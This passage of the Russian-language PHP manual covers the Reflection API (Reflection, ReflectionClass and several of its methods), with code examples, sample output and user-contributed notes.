Каждый класс описывает свои собственные константы.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

В документации по Reflection вы сможете встретить множество примеров, чаще всего в описании конструкторов классов.

Пример #1 Пример использования Reflection из shell (терминала)

$ php --rf strlen
$ php --rc finfo
$ php --re json
$ php --ri dom

Вывод приведённого примера будет похож на:

Function [ <internal:Core> function strlen ] {

  - Parameters [1] {
    Parameter #0 [ <required> $str ]
  }
}

Class [ <internal:fileinfo> class finfo ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [4] {
    Method [ <internal:fileinfo, ctor> public method finfo ] {

      - Parameters [2] {
        Parameter #0 [ <optional> $options ]
        Parameter #1 [ <optional> $arg ]
      }
    }

    Method [ <internal:fileinfo> public method set_flags ] {

      - Parameters [1] {
        Parameter #0 [ <required> $options ]
      }
    }

    Method [ <internal:fileinfo> public method file ] {

      - Parameters [3] {
        Parameter #0 [ <required> $filename ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }

    Method [ <internal:fileinfo> public method buffer ] {

      - Parameters [3] {
        Parameter #0 [ <required> $string ]
        Parameter #1 [ <optional> $options ]
        Parameter #2 [ <optional> $context ]
      }
    }
  }
}

Extension [ <persistent> extension #23 json version 1.2.1 ] {

  - Constants [10] {
    Constant [ integer JSON_HEX_TAG ] { 1 }
    Constant [ integer JSON_HEX_AMP ] { 2 }
    Constant [ integer JSON_HEX_APOS ] { 4 }
    Constant [ integer JSON_HEX_QUOT ] { 8 }
    Constant [ integer JSON_FORCE_OBJECT ] { 16 }
    Constant [ integer JSON_ERROR_NONE ] { 0 }
    Constant [ integer JSON_ERROR_DEPTH ] { 1 }
    Constant [ integer JSON_ERROR_STATE_MISMATCH ] { 2 }
    Constant [ integer JSON_ERROR_CTRL_CHAR ] { 3 }
    Constant [ integer JSON_ERROR_SYNTAX ] { 4 }
  }

  - Functions {
    Function [ <internal:json> function json_encode ] {

      - Parameters [2] {
        Parameter #0 [ <required> $value ]
        Parameter #1 [ <optional> $options ]
      }
    }
    Function [ <internal:json> function json_decode ] {

      - Parameters [3] {
        Parameter #0 [ <required> $json ]
        Parameter #1 [ <optional> $assoc ]
        Parameter #2 [ <optional> $depth ]
      }
    }
    Function [ <internal:json> function json_last_error ] {

      - Parameters [0] {
      }
    }
  }
}

dom

DOM/XML => enabled
DOM/XML API Version => 20031129
libxml Version => 2.7.3
HTML Support => enabled
XPath Support => enabled
XPointer Support => enabled
Schema Support => enabled
RelaxNG Support => enabled

User Contributed Notes

paulo dot castro48 at gmail dot com 19-Feb-2017 02:18
Note: This is useful when you're manually parsing php by file before to get work done, wich is impossible to do without getting files externally.
Now you can parse without getting the file contents by using refection objects.
spectrum at bigmir dot net 28-Dec-2010 02:11
Simple table generation using Reflection:

<?php

class A
{
    public    $name = 'Vasiliy';
    public    $text = 'Once upon a time';
}

class B
{
    public    $name = 'Had bought a cat';
    public    $text = 'named Valentine';
}

class grid
{
    public function build(  $dataSource, $headers, $fields  )
    {
        $result = '<table border="1">';
        $result .= $this -> make_head( $headers );

        foreach ($dataSource as $source):
            $class_name = get_class($source);
            if ( $class_name != FALSE ):
                $reflector = new ReflectionClass($source);
                echo 'Class "'. $class_name .'" found.<br />';
                $result .= $this -> make_row( $reflector, $fields, $source );
            endif;
        endforeach;

        $result .= '</table>';
        return $result;
    }

    private function make_head( $headers )
    {
        $result = '<tr>';
        foreach ( $headers as $header):
            $result .= "<th>$header</th>";
        endforeach;
        $result .= '</tr>';
        return $result;
    }

    private function make_row( $reflector, $fields, $source )
    {
        $result = '<tr>';
        foreach ( $fields as $field ):
            if ( $reflector -> hasProperty($field) ):
                $property = $reflector -> getProperty($field);
                $result .= '<td>'. $property -> getValue($source) .'</td>';
            endif;
        endforeach;
        $result .= '</tr>';
        return $result;
    }
}

$A = new A;
$B = new B;
$C = 'Test';

$dataSource = array( $A, $B, $C );
$headers = array( 'H1', 'H2' );
$fields = array( 'name', 'text' );

$grid = new grid;
$table = $grid -> build( $dataSource, $headers, $fields );
echo $table;

?>
Kovin 18-May-2009 02:00
If you want to use method closures and don't have PHP 5.3, perhaps you find useful the following function
<?php
    function get_method_closure($object,$method_name){
        if(method_exists(get_class($object),$method_name)){
            $func            = create_function( '',
                            '
                                $args            = func_get_args();
                                static $object    = NULL;

                                /*
                                * Check if this function is being called to set the static $object, which
                                * containts scope information to invoke the method
                                */
                                if(is_null($object) && count($args) && get_class($args[0])=="'.get_class($object).'"){
                                    $object = $args[0];
                                    return;
                                }

                                if(!is_null($object)){
                                    return call_user_func_array(array($object,"'.$method_name.'"),$args);
                                }else{
                                    return FALSE;
                                }'
                            );

            //Initialize static $object
            $func($object);

            //Return closure
            return $func;
        }else{
            return false;
        }
    }
?>
Here is how you would use it:
<?php
class foo{
    public function bar($foo){
        return strtolower($foo);
    }
}

$foo = new foo();
$f = get_method_closure($foo,'bar');
echo $f("BAR");//Prints 'bar'
?>


Расширение

Если вам нужна специализированная версия встроенного класса (который, например, сможет генерировать цветной HTML при экспорте, будет иметь легкодоступные свойства вместо методов или же какие-нибудь вспомогательные методы), то можете просто взять и расширить его.

Пример #1 Расширение встроенных классов

<?php
/**
* Мой класс Reflection_Method
*/
class My_Reflection_Method extends ReflectionMethod
{
public $visibility = array();

public function __construct($o, $m)
{
parent::__construct($o, $m);
$this->visibility = Reflection::getModifierNames($this->getModifiers());
}
}

/**
* Демо-класс #1
*
*/
class T {
protected function x() {}
}

/**
* Демо-класс #2
*
*/
class U extends T {
function x() {}
}

// Выведем информацию о методе
var_dump(new My_Reflection_Method('U', 'x'));
?>

Вывод приведённого примера будет похож на:

object(My_Reflection_Method)#1 (3) {
  ["visibility"]=>
  array(1) {
    [0]=>
    string(6) "public"
  }
  ["name"]=>
  string(1) "x"
  ["class"]=>
  string(1) "U"
}
Предостережение

Когда вы переопределяете конструктор, не забудьте обязательно вызвать родительский конструктор до любого добавленного вами кода. Если так не делать, то вы можете получить сообщение об ошибке вида: Fatal error: Internal error: Failed to retrieve the reflection object

User Contributed Notes

khelaz at gmail dot com 28-Apr-2011 11:12
Extending class ReflectionFunction to get source code of function

<?php
class Custom_Reflection_Function extends ReflectionFunction {

    public function getSource() {
        if( !file_exists( $this->getFileName() ) ) return false;

        $start_offset = ( $this->getStartLine() - 1 );
        $end_offset   = ( $this->getEndLine() - $this->getStartLine() ) + 1;

        return join( '', array_slice( file( $this->getFileName() ), $start_offset, $end_offset ) );
    }
}
?>


Класс Reflection

(PHP 5, PHP 7, PHP 8)

Введение

Класс Reflection.

Обзор классов

class Reflection {
/* Методы */
public static export(Reflector $reflector, bool $return = false): string
public static getModifierNames(int $modifiers): array
}

Содержание

  • Reflection::export — Экспортирует Reflection
  • Reflection::getModifierNames — Получение имён модификаторов

User Contributed Notes

apmithani at yahoo dot com 26-Aug-2010 09:05
Here is a code snippet for some of us who are just beginning with reflection. I have a simple class below with two properties and two methods. We will use reflection classes to populate the properties dynamically and then print them:

<?php

class A
{
    public $one = '';
    public $two = '';

    //Constructor
    public function __construct()
    {
        //Constructor
    }

    //print variable one
    public function echoOne()
    {
        echo $this->one."\n";
    }

    //print variable two
    public function echoTwo()
    {
        echo $this->two."\n";
    }
}

//Instantiate the object
$a = new A();

//Instantiate the reflection object
$reflector = new ReflectionClass('A');

//Now get all the properties from class A in to $properties array
$properties = $reflector->getProperties();

$i =1;
//Now go through the $properties array and populate each property
foreach($properties as $property)
{
    //Populating properties
    $a->{$property->getName()}=$i;
    //Invoking the method to print what was populated
    $a->{"echo".ucfirst($property->getName())}()."\n";

    $i++;
}

?>


Экспортирует Reflection

  • « Reflection
  • Reflection::getModifierNames »
  • PHP Manual
  • Reflection
  • Экспортирует Reflection

Reflection::export

(PHP 5, PHP 7)

Reflection::export — Экспортирует Reflection

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static Reflection::export(Reflector $reflector, bool $return = false): string

Экспортирует reflection.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

reflector

Название или объект класса для экспорта.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Смотрите также

  • Reflection::getModifierNames() - Получение имён модификаторов

User Contributed Notes

There are no user contributed notes for this page.


Получение имён модификаторов

  • « Reflection::export
  • ReflectionClass »
  • PHP Manual
  • Reflection
  • Получение имён модификаторов

Reflection::getModifierNames

(PHP 5, PHP 7, PHP 8)

Reflection::getModifierNames — Получение имён модификаторов

Описание

public static Reflection::getModifierNames(int $modifiers): array

Получает имена модификаторов.

Список параметров

modifiers

Битовая маска извлекаемых модификаторов.

Возвращаемые значения

Массив имён модификаторов.

Примеры

Пример #1 Пример использования Reflection::getModifierNames()

<?php
class Testing
{
final public static function foo()
{
return;
}

public function bar()
{
return;
}
}

$foo = new ReflectionMethod('Testing', 'foo');

echo "Модификаторы для метода foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Модификаторы для метода bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));

Вывод приведённого примера будет похож на:

Модификаторы для метода foo():
261
final public static
Модификаторы для метода bar():
65792
public

Смотрите также

  • ReflectionClass::getModifiers() - Возвращает информацию о модификаторах класса
  • ReflectionClassConstant::getModifiers() - Получает модификаторы константы класса
  • ReflectionMethod::getModifiers() - Получает модификаторы метода
  • ReflectionProperty::getModifiers() - Получает модификаторы свойства

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionClass

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionClass сообщает информацию о классе.

Обзор классов

class ReflectionClass implements Reflector {
/* Константы */
public const int IS_IMPLICIT_ABSTRACT;
public const int IS_EXPLICIT_ABSTRACT;
public const int IS_FINAL;
public const int IS_READONLY;
/* Свойства */
public string $name;
/* Методы */
public __construct(object|string $objectOrClass)
public static export(mixed $argument, bool $return = false): string
public getAttributes(?string $name = null, int $flags = 0): array
public getConstant(string $name): mixed
public getConstants(?int $filter = null): array
public getConstructor(): ?ReflectionMethod
public getDefaultProperties(): array
public getDocComment(): string|false
public getEndLine(): int|false
public getExtension(): ?ReflectionExtension
public getExtensionName(): string|false
public getFileName(): string|false
public getInterfaceNames(): array
public getInterfaces(): array
public getMethod(string $name): ReflectionMethod
public getMethods(?int $filter = null): array
public getModifiers(): int
public getName(): string
public getNamespaceName(): string
public getParentClass(): ReflectionClass|false
public getProperties(?int $filter = null): array
public getProperty(string $name): ReflectionProperty
public getReflectionConstant(string $name): ReflectionClassConstant|false
public getReflectionConstants(?int $filter = null): array
public getShortName(): string
public getStartLine(): int|false
public getStaticProperties(): array
public getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public getTraitAliases(): array
public getTraitNames(): array
public getTraits(): array
public hasConstant(string $name): bool
public hasMethod(string $name): bool
public hasProperty(string $name): bool
public implementsInterface(ReflectionClass|string $interface): bool
public inNamespace(): bool
public isAbstract(): bool
public isAnonymous(): bool
public isCloneable(): bool
public isEnum(): bool
public isFinal(): bool
public isInstance(object $object): bool
public isInstantiable(): bool
public isInterface(): bool
public isInternal(): bool
public isIterable(): bool
public isReadOnly(): bool
public isSubclassOf(ReflectionClass|string $class): bool
public isTrait(): bool
public isUserDefined(): bool
public newInstance(mixed ...$args): object
public newInstanceArgs(array $args = []): ?object
public newInstanceWithoutConstructor(): object
public setStaticPropertyValue(string $name, mixed $value): void
public __toString(): string
}

Свойства

name

Имя класса. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

Предопределённые константы

Модификаторы ReflectionClass

ReflectionClass::IS_IMPLICIT_ABSTRACT

Указывает, что класс является абстрактным, потому что он содержит абстрактные методы.

ReflectionClass::IS_EXPLICIT_ABSTRACT

Указывает, что класс является абстрактным, потому что так указано при его описании.

ReflectionClass::IS_FINAL

Указывает, что класс является окончательным (final)

ReflectionClass::IS_READONLY

Указывает, что класс является readonly.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionClass::export() был удалён.

Содержание

  • ReflectionClass::__construct — Создаёт объект класса ReflectionClass
  • ReflectionClass::export — Экспортирует класс
  • ReflectionClass::getAttributes — Получает атрибуты
  • ReflectionClass::getConstant — Возвращает определённую константу
  • ReflectionClass::getConstants — Возвращает константы
  • ReflectionClass::getConstructor — Возвращает конструктор класса
  • ReflectionClass::getDefaultProperties — Возвращает свойства по умолчанию
  • ReflectionClass::getDocComment — Возвращает doc-блоки комментариев
  • ReflectionClass::getEndLine — Возвращает номер последней строки
  • ReflectionClass::getExtension — Возвращает объект класса ReflectionExtension для модуля, определяющего класс
  • ReflectionClass::getExtensionName — Возвращает имя модуля, определяющее класс
  • ReflectionClass::getFileName — Возвращает имя файла, в котором определён класс
  • ReflectionClass::getInterfaceNames — Возвращает имена интерфейсов
  • ReflectionClass::getInterfaces — Возвращает интерфейсы
  • ReflectionClass::getMethod — Возвращает экземпляр ReflectionMethod для метода класса
  • ReflectionClass::getMethods — Возвращает список методов в виде массива
  • ReflectionClass::getModifiers — Возвращает информацию о модификаторах класса
  • ReflectionClass::getName — Возвращает имя класса
  • ReflectionClass::getNamespaceName — Возвращает название пространства имён
  • ReflectionClass::getParentClass — Возвращает родительский класс
  • ReflectionClass::getProperties — Возвращает свойства
  • ReflectionClass::getProperty — Возвращает экземпляр ReflectionProperty для свойства класса
  • ReflectionClass::getReflectionConstant — Получает экземпляр класса ReflectionClassConstant для константы класса
  • ReflectionClass::getReflectionConstants — Получает константы класса
  • ReflectionClass::getShortName — Возвращает короткое имя
  • ReflectionClass::getStartLine — Возвращает номер начальной строки
  • ReflectionClass::getStaticProperties — Возвращает статические свойства
  • ReflectionClass::getStaticPropertyValue — Возвращает значение статического свойства
  • ReflectionClass::getTraitAliases — Возвращает массив псевдонимов трейтов
  • ReflectionClass::getTraitNames — Возвращает массив имён трейтов, используемых в этом классе
  • ReflectionClass::getTraits — Возвращает массив трейтов, используемых в этом классе
  • ReflectionClass::hasConstant — Проверяет, определена ли константа
  • ReflectionClass::hasMethod — Проверяет, задан ли метод
  • ReflectionClass::hasProperty — Проверяет, определено ли свойство
  • ReflectionClass::implementsInterface — Проверяет, реализуется ли интерфейс
  • ReflectionClass::inNamespace — Проверяет, определён ли класс в пространстве имён
  • ReflectionClass::isAbstract — Проверяет, является ли класс абстрактным
  • ReflectionClass::isAnonymous — Проверяет, является класс анонимным
  • ReflectionClass::isCloneable — Проверяет, можно ли клонировать этот класс
  • ReflectionClass::isEnum — Возвращает, является ли класс перечислением
  • ReflectionClass::isFinal — Проверяет, является ли класс окончательным (final)
  • ReflectionClass::isInstance — Проверяет, принадлежит ли объект классу
  • ReflectionClass::isInstantiable — Проверяет, можно ли создать экземпляр класса
  • ReflectionClass::isInterface — Проверяет, является ли класс интерфейсом
  • ReflectionClass::isInternal — Проверяет, является ли класс встроенным в модуль или в ядро
  • ReflectionClass::isIterable — Проверяет, итерируем ли класс
  • ReflectionClass::isIterateable — Псевдоним ReflectionClass::isIterable
  • ReflectionClass::isReadOnly — Проверяет, является ли класс доступным только для чтения
  • ReflectionClass::isSubclassOf — Проверяет, является ли класс подклассом
  • ReflectionClass::isTrait — Проверяет, является ли это трейтом
  • ReflectionClass::isUserDefined — Проверяет, является ли класс пользовательским
  • ReflectionClass::newInstance — Создаёт экземпляр класса с переданными аргументами
  • ReflectionClass::newInstanceArgs — Создаёт экземпляр класса с переданными параметрами
  • ReflectionClass::newInstanceWithoutConstructor — Создаёт новый экземпляр класса без вызова конструктора
  • ReflectionClass::setStaticPropertyValue — Устанавливает значение статического свойства
  • ReflectionClass::__toString — Возвращает строковое представление объекта класса ReflectionClass

User Contributed Notes

featherbits 27-Jan-2021 04:10
In order to get class attributes look here (php8)
https://www.php.net/manual/en/language.attributes.reflection.php
YoungOfCthulhu 21-Sep-2015 02:20
It is also possible to do reflection from within the class and get the methods for instance.

<?php

class test
{
    private $test = "";

    public function setTest($test)
    {
        $this->test = $test;
        return $this;
    }

    public function getTest()
    {
        return $this->test;
    }

    public function run(){
        $class = new ReflectionClass('test');
        $methods = $class->getMethods();
        var_dump($methods);
    }
}

Called from another php file you get the proper result:
array(3) {
  [0]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(8) "setTest"
    ["class"]=>
    string(4) "test"
  }
  [1]=>
  &object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(8) "getTest"
    ["class"]=>
    string(4) "test"
  }
  [2]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(3) "run"
    ["class"]=>
    string(4) "test"
  }
}
Anonymous 17-May-2013 06:45
Reflecting an alias will give you a reflection of the resolved class.

<?php

class X {

}

class_alias('X','Y');
class_alias('Y','Z');
$z = new ReflectionClass('Z');
echo $z->getName(); // X

?>
Anonymous 11-Nov-2011 09:58
Unserialized reflection class cause error.

<?php
/**
 * abc
 */
class a{}

$ref = new ReflectionClass('a');
$ref = unserialize(serialize($ref));
var_dump($ref);
var_dump($ref->getDocComment());

// object(ReflectionClass)#2 (1) {
//   ["name"]=>
//   string(1) "a"
// }
// PHP Fatal error:  ReflectionClass::getDocComment(): Internal error: Failed to retrieve the reflection object
?>
danbettles at yahoo dot co dot uk 29-Mar-2009 02:48
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>


Создаёт объект класса ReflectionClass

  • « ReflectionClass
  • ReflectionClass::export »
  • PHP Manual
  • ReflectionClass
  • Создаёт объект класса ReflectionClass

ReflectionClass::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionClass::__construct — Создаёт объект класса ReflectionClass

Описание

public ReflectionClass::__construct(object|string $objectOrClass)

Создаёт новый объект класса ReflectionClass.

Список параметров

objectOrClass

В качестве аргумента может принимать строку (string), содержащую имя исследуемого класса, либо объект (object).

Ошибки

Вызывает исключение ReflectionException, если заданный класс не существует.

Примеры

Пример #1 Простой пример использования ReflectionClass

<?php
$reflection = new ReflectionClass('Exception');
echo $reflection;
?>

Вывод приведённого примера будет похож на:

Class [ <internal:Core> class Exception implements Stringable, Throwable ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ protected $message = '' ]
    Property [ private string $string = '' ]
    Property [ protected $code = 0 ]
    Property [ protected string $file = '' ]
    Property [ protected int $line = 0 ]
    Property [ private array $trace = [] ]
    Property [ private ?Throwable $previous = NULL ]
  }

  - Methods [11] {
    Method [ <internal:Core> private method __clone ] {

      - Parameters [0] {
      }
      - Return [ void ]
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> string $message = "" ]
        Parameter #1 [ <optional> int $code = 0 ]
        Parameter #2 [ <optional> ?Throwable $previous = null ]
      }
    }

    Method [ <internal:Core> public method __wakeup ] {

      - Parameters [0] {
      }
      - Tentative return [ void ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getMessage ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getCode ] {

      - Parameters [0] {
      }
    }

    Method [ <internal:Core, prototype Throwable> final public method getFile ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getLine ] {

      - Parameters [0] {
      }
      - Return [ int ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getTrace ] {

      - Parameters [0] {
      }
      - Return [ array ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getPrevious ] {

      - Parameters [0] {
      }
      - Return [ ?Throwable ]
    }

    Method [ <internal:Core, prototype Throwable> final public method getTraceAsString ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }

    Method [ <internal:Core, prototype Stringable> public method __toString ] {

      - Parameters [0] {
      }
      - Return [ string ]
    }
  }
}

Смотрите также

  • ReflectionObject::__construct() - Конструктор класса ReflectionObject
  • Конструкторы

User Contributed Notes

danbettles at yahoo dot co dot uk 22-May-2015 06:47
To reflect on a namespaced class in PHP 5.3, you must always specify the fully qualified name of the class - even if you've aliased the containing namespace using a "use" statement.

So instead of:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('Core\Singleton');
?>

You would type:

<?php
use App\Core as Core;
$oReflectionClass = new ReflectionClass('App\Core\Singleton');
?>
nulled 18-Dec-2013 03:42
if (is_file($classfile))
            require_once $classfile;

if (! class_exists($classname, false))
            exit('ERROR: ' . $classname . ' is not defined as a Class');

The above code is useful to tell if the class was defined.  You could also use another commentors method using Try Catch Exceptions.  But, if you do not use try blocks much, the above function based method works just fine.

From there, you can than call:

$class = new ReflectionClass($classname);

        if (! $class->isSubclassOf('PanelCommon'))
            exit("ERROR: {$classname} must extends PanelCommon");

        if (! $class->isUserDefined())
            exit("ERROR: {$classname} must be user defined and not internal to PHP");

        if (! $class->IsInstantiable())
            exit("ERROR: {$classname} must be IsInstantiable and not an Interface or Abstract class");

        if (! $class->hasMethod('home'))
            exit("ERROR: {$classname} lacks required method/function home()");

Forforth and so on.
me [at] klay [dot] me 28-Oct-2013 11:09
Example of usage:

    public static function getClassData($class)
    {
        // Trying to create a new object of ReflectionClass class
        $class = new ReflectionClass($class);

        $details = sprintf('%s - %s%s%s%s%s%s%s%s',
            $class->getName(),
            $class->isInternal()     ? 'internal class,' : 'user-defined class,',
            $class->isTrait()        ? '  is trait,'  : '',
            $class->isInterface()    ? '  is interface,'  : '',
            $class->isAbstract()     ? '  is abstract,'  : '',
            $class->isFinal()        ? '  is final,'  : '',
            $class->isCloneable()    ? '  is cloneable,'  : '',
            $class->isInstantiable() ? ' is instantiable,'  : '',
            $class->isIterateable()  ? ' is iterable  : ''
        );

        return '<pre class="debug">' . rtrim($details, ',') . '</pre>';
    }
gafisher at griasolutions dot com 30-Jan-2012 01:23
Running the following code on Windows Vista (I know, I know), PHP 5.3.9, the ReflectionClass constructor actually throws a ReflectionException when the desired class cannot be instantiated:

<?php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $Exception) {
        die('Not gonna make it in here...');
    } catch (ReflectionException $Exception) {
        die('Your class does not exist!');
    }
?>
cspray at gmail dot com 12-Jun-2011 07:14
Useful to know that if you pass a string into the construct and the class cannot be instantiated for some reason a SPL LogicException will be thrown.

This code was ran on a Mac OS X 10.6.7, AMP, PHP 5.3+

<?php

    //  index.php
    try {
        $ReflectedClass = new ReflectionClass('NonExist');
    } catch (LogicException $logicDuh) {
        print_r($logicDuh);
    }

?>

Will return a deeply nested array full of useful information about the error.
ivo at jansch dot nl 24-Jan-2010 04:16
It's very useful to know that you can also use the ReflectionClass to inspect interfaces, even thouth Interfaces are not classes. Example:

<?php

  interface Edible
  {
    public function eat();
  }

  $refl = new ReflectionClass("Edible");
  $methods = $refl->getMethods();
?>

[Edit by danbrown AT php DOT net - Contains a bugfix by (dbl AT bnet DOT com) on 18-AUG-2010 with the following message: "underline had to be removed for it to work ( new Reflection_Class -> new ReflectionClass )"]


Экспортирует класс

  • « ReflectionClass::__construct
  • ReflectionClass::getAttributes »
  • PHP Manual
  • ReflectionClass
  • Экспортирует класс

ReflectionClass::export

(PHP 5, PHP 7)

ReflectionClass::export — Экспортирует класс

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionClass::export(mixed $argument, bool $return = false): string

Экспортирует reflected (отражённый) класс.

Список параметров

argument

Название или объект класса для экспорта.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Примеры

Пример #1 Пример использования ReflectionClass::export()

<?php
class Apple {
public $var1;
public $var2 = 'Orange';

public function type() {
return 'Apple';
}
}
ReflectionClass::export('Apple');
?>

Вывод приведённого примера будет похож на:

Class [ <user> class Apple ] {
  @@ php shell code 1-8

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [2] {
    Property [ <default> public $var1 ]
    Property [ <default> public $var2 ]
  }

  - Methods [1] {
    Method [ <user> public method type ] {
      @@ php shell code 5 - 7
    }
  }
}

Смотрите также

  • ReflectionClass::getName() - Возвращает имя класса
  • ReflectionClass::__toString() - Возвращает строковое представление объекта класса ReflectionClass

User Contributed Notes

There are no user contributed notes for this page.


Получает атрибуты

  • « ReflectionClass::export
  • ReflectionClass::getConstant »
  • PHP Manual
  • ReflectionClass
  • Получает атрибуты

ReflectionClass::getAttributes

(PHP 8)

ReflectionClass::getAttributes — Получает атрибуты

Описание

public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array

Возвращает все атрибуты, объявленные в этом классе, в виде массива ReflectionAttribute.

Список параметров

name

Параметр отфильтрует результаты, чтобы включить экземпляры отражений ReflectionAttribute только тех атрибутов, чьи имена совпадают с заданным именем класса.

flags

Флаги для определения способа фильтрации результатов, если указан параметр name.

По умолчанию значение 0, которое возвращает результаты только для атрибутов, которые относятся к классу name.

Единственное доступное значение — константа ReflectionAttribute::IS_INSTANCEOF, которая вместо этого будет использовать для фильтрации оператор instanceof.

Возвращаемые значения

Массив атрибутов в виде объекта ReflectionAttribute.

Примеры

Пример #1 Простой пример использования

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #2 Фильтрация результатов по имени класса

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
)

Пример #3 Фильтрация результатов по имени класса с наследованием

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

#[Fruit]
#[Red]
class Apple {
}

$class = new ReflectionClass('Apple');
$attributes = $class->getAttributes(Color::class, ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Red
)

Смотрите также

  • ReflectionClassConstant::getAttributes() - Получает атрибуты
  • ReflectionFunctionAbstract::getAttributes() - Получает атрибуты
  • ReflectionParameter::getAttributes() - Получает атрибуты
  • ReflectionProperty::getAttributes() - Получает атрибуты

User Contributed Notes

sandrenyl at gmail dot com 03-Dec-2021 06:27
When using the method getAttributes() to fetch attributes based on a parent class, the proper flag constant is ReflectionAttribute::IS_INSTANCEOF (which equals 2 as mentionned by sergiolibe).

<?php
$reflectionClass->getAttributes(SomeParentAttribute::class, ReflectionAttribute::IS_INSTANCEOF);
?>
sergiolibe at gmail dot com 06-Jul-2021 03:11
When using getAttributes() with specific attribute class and flags, flag 0 will return just matching attributes with specified class, and 2 will return matching attributes with specified class and children of that class:
<?php
    #[Attribute(\Attribute::TARGET_CLASS)]
    class SomeAttribute {}

    #[Attribute(\Attribute::TARGET_CLASS)]
    class ChildAttribute extends SomeAttribute {}

    #[SomeAttribute]
    #[SomeChildAttribute]
    class SomeClass {}

    $rc = new ReflectionClass(SomeClass::class);

    $r_atts = $rc->getAttributes(SomeAttribute::class, 0); // 0 is default, just given class
    echo json_encode(array_map(fn(ReflectionAttribute $r_att) => $r_att->getName(), $r_atts)), PHP_EOL;

    $r_atts = $rc->getAttributes(SomeAttribute::class, 2); // given class and children classes
    echo json_encode(array_map(fn(ReflectionAttribute $r_att) => $r_att->getName(), $r_atts)), PHP_EOL;
?>

output:
["SomeAttribute"]
["SomeAttribute","ChildAttribute"]


Возвращает определённую константу

  • « ReflectionClass::getAttributes
  • ReflectionClass::getConstants »
  • PHP Manual
  • ReflectionClass
  • Возвращает определённую константу

ReflectionClass::getConstant

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getConstant — Возвращает определённую константу

Описание

public ReflectionClass::getConstant(string $name): mixed

Возвращает определённую константу.

Список параметров

name

Имя константы класса.

Возвращаемые значения

Значение константы с именем name. Возвращает false если константа отсутствует в классе.

Примеры

Пример #1 Пример использования ReflectionClass::getConstant()

<?php

class Example {
const C1 = false;
const C2 = 'I am a constant';
}

$reflection = new ReflectionClass('Example');

var_dump($reflection->getConstant('C1'));
var_dump($reflection->getConstant('C2'));
var_dump($reflection->getConstant('C3'));
?>

Результат выполнения приведённого примера:

bool(false)
string(15) "I am a constant"
bool(false)

Смотрите также

  • ReflectionClass::getConstants() - Возвращает константы

User Contributed Notes

aurelien dot tisserand at wavesoftware dot ch 08-Nov-2013 03:27
If the $name constant doesn't exist in the targetted class the function returns bool(false), not empty nor null but false (you to test with "==="

$constFounded = false ;
$this->currentlangClass = new ReflectionClass($langFile);
$this->currentlangClass->getConstant($constant);
if($myConst !== false){
              $constFounded = true ;
}
Bhimsen 31-May-2012 05:46
